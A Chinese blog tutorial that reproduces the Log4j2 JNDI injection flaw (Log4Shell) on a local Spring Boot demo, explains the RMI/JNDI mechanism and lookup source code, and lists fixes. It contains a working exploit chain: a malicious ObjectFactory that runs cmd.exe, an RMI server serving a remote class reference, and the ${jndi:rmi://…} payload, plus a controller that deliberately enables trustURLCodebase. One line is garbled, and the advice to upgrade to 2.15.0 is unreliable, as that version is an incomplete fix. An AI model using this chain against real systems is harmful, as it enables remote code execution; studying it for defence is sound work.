一、背景
其实早就听闻log4j2的这个史诗级漏洞，当时也看了一遍视频，但自己一直都没有实践，这不摸鱼的时候突然发现，自己偶然创建的demo依赖中log4j2日志版本号好像挺老,突然就心血来潮想要复现一下当年的漏洞，尝试知道原理以及如何解决。
二、复现demo搭建
受影响版本 ：2.x<=2.14.1
导入依赖：
当时我是直接是用的spring-boot-starter-log4j2,版本和父项目一致：2.3.0.RELEASE
父项目依赖：
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>2.3.0.RELEASE</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
可以从maven里面看到版本号为2.13.2，是有可能造成漏洞的
2.1、被攻击者代码
这块代码很正常，在一个非常普通的controller中建一个接口即可：
package com.mbw.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class LearnController {
private static final Logger logger = LoggerFactory.getLogger(LearnController.class);
@PostMapping("/hack")
public String testHackExecute(String content){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("应用正常运行中。。。。。。。。。。。。。");
logger.info("content:{}", content);
return content;
}
}
大家可能会对下面这行代码感到疑惑
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ps:jdk1.8.121之后都需要添加上面这行代码，这样就可以执行任意命令了。这个就涉及到JNDI和RMI有关，而这也是我们复现漏洞需要用到的。
我们需要先了解几个知识点：
2.1.1.什么是RMI
RMI：
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多，比如：CORBA、WebService，这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ，Java 远程消息交换协议)，该协议为Java定制，要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。
通俗来讲，rmi是客户端调用服务器的方法，并在服务端执行后返回结果。与JNDI不同，JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。示例如下：
①先启动一个本地RMI
public class MainTest {
public static void main(String[] args) throws Exception {
// 在本机 1999 端口开启 rmi registry，可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference，第一个参数无所谓，第二个参数指定 Object Factory 的类名：
// 第三个参数是 codebase，表明如果客户端在 classpath 里面找不到
// jndiinj.EvilObjectFactory，则去 http://localhost:9999/ 下载
// 当然利用的时候这里应该是一个真正的 codebase 的地址
Reference ref = new Reference("test",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 因为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
}
②连接本地客户端
public class LookupTest {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
Object lookup = ctx.lookup("rmi://localhost:1999/evil");
System.out.println(lookup);
}
}
2.1.2.什么是JNDI
简单来说，JNDI (Java Naming and Directory Interface) 是一组应用程序接口，它为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
这是指通过context对象访问远程rmi对象。整个过程如下：
- 目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
- 攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
- 攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
- 目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
- 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
InitialContext.lookup()调用栈为：
getURLOrDefaultInitCtx("aa");
getURLContext("aa");
RegistryContext.lookup("aa");
RegistryContext.decodeObject(referenceWrapper,"aa");
NamingManager.getObjectInstance();
factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象
那么这样其实也就是log4j2触发漏洞的核心原因：
log4j2 官方文档也同样支持 Jndi Lookup
RMI 和 LDAP 是 JND I默认支持自动转换的协议：
| 协议名称 | 协议URL | Context类 |
|---|---|---|
| RMI协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
| LDAP协议 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
2.1.3、为什么Reference要引用一个远程的类
因为服务端传给客户端的是一个Reference对象，如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类，但是恶意类是存放在远程的。
2.2、攻击者代码
首先我们在本地搭建攻击者代码，当然一般情况下攻击类是在远程的，这里模拟就在本地搭建一个：
这个黑客要做的事很简单，就是打开一个dos窗口
package com.mbw.rmi;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import javax.swing.*;
import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
/**
* 在这里实现了ObjectFactory接口，主要是针对EvilObj类无法转换为ObjectFactory对象，其他Java版本中可能不存在这个问题
*/
public class EvilObj extends JFrame implements ObjectFactory {
static {
System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
// 在创建对象过程中插入恶意的攻击代码，或者直接创建一个本地命令执行的Process对象从而实现RCE
try {
Runtime.getRuntime()
.exec("cmd.exe /C start", null, new File("c:/"));
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象（可能为 null）。
* @param name 此对象相对于 ctx 的名称，如果没有指定名称，则该参数为 null。
* @param nameCtx 一个上下文，name 参数是相对于该上下文指定的，如果 name 相对于默认初始上下文，则该参数为 null。
* @param environment 创建对象时使用的环境（可能为 null）。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
然后在本地搭建一个RMI服务器：
package com.mbw.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String... args) {
try {
Registry registry = createRegistry(1099);
System.out.println("Create RMI registry on port 1099");
registry.bind("evil", createReferenceWrapper("com.mbw.rmi.EvilObj","com.mbw.rmi.EvilObj", "http://127.0.0.1:9090/"));
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
/**
* 监听端口 。
* @param port .
* @return .
* @throws RemoteException .
*/
private static Registry createRegistry(int port) throws RemoteException {
LocateRegistry.createRegistry(port);
return LocateRegistry.getRegistry();
}
/**
* 创建一个远程的 JNDI 对象工厂类的引用对象 ，
* 将其转化为 RMI 引用对象 。
* @param className .
* @param factory .
* @param factoryLocation .
* @return .
* @throws RemoteException .
* @throws NamingException .
*/
private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
}
}
此时启动RMIServer,然后启动被攻击者服务：
我们假装黑客使用postman去调用被害者服务：
在被害者服务代码所需参数content输入${jndi:rmi://127.0.0.1:1099/evil}
可以看到漏洞复现，攻击者执行了被攻击者的代码，这是很可怕的事情。
2.3、log4j2漏洞原因
Log4j的lookup功能
本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致，这个类存在于log4j-core-xxx.jar中。
log4j的Lookups功能可以快速打印包括运行应用容器的docker属性，环境变量，日志事件，Java应用程序环境信息等内容。比如我们打印Java运行时版本：
public class VulnerabilityTest {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("Test:{}","${java:runtime}");
}
}
输出：
那么JndiLookup到底有什么设计缺陷导致出现的史诗级漏洞呢？
我们首先把目标放在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
...
} else {
...
}
}
我们传入的message会通过MessagePatternConverter.format()，判断如果config存在并且noLookups为false（默认为false），然后匹配到KaTeX parse error: Expected '}', got 'EOF' at end of input: …)替换原有的字符串，比如这里的{java:runtime}。
因为这里没有任何的白名单，那么我们就可以构造任何的字符串，只有符合${就可以。
继续往下走，来到org.apache.logging.log4j.core.lookup.Interpolator#lookup
我们可以看到处理event的时候根据前缀选择对应的StrLookup进行处理，目前支持date，jndi，java，main等多种类型，如果构造的event是jndi，则通过JndiLoopup进行处理，从而构造漏洞。
2.4、解决方案
1.升级版本
我们可以使用maven helper插件查询log4j2，然后remove掉这些冲突的依赖
最后加上新的依赖，然后reimport就好了：
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<exclusions>
<exclusion>
<artifactId>log4j-core</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
<exclusion>
<artifactId>log4j-slf4j-impl</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
<exclusion>
<artifactId>log4j-api</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
</exclusions>
</dependency>
<!-- 引入新版本log4j2 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
<exclusions>
<exclusion>
<artifactId>log4j-api</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
</exclusions>
</dependency>
2.临时方案
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true；
在应用classpath下添加log4j2.component.properties配置文件，文件内容为log4j2.formatMsgNoLookups=true；
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本；
部署使用第三方防火墙产品进行安全防护。
3275
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
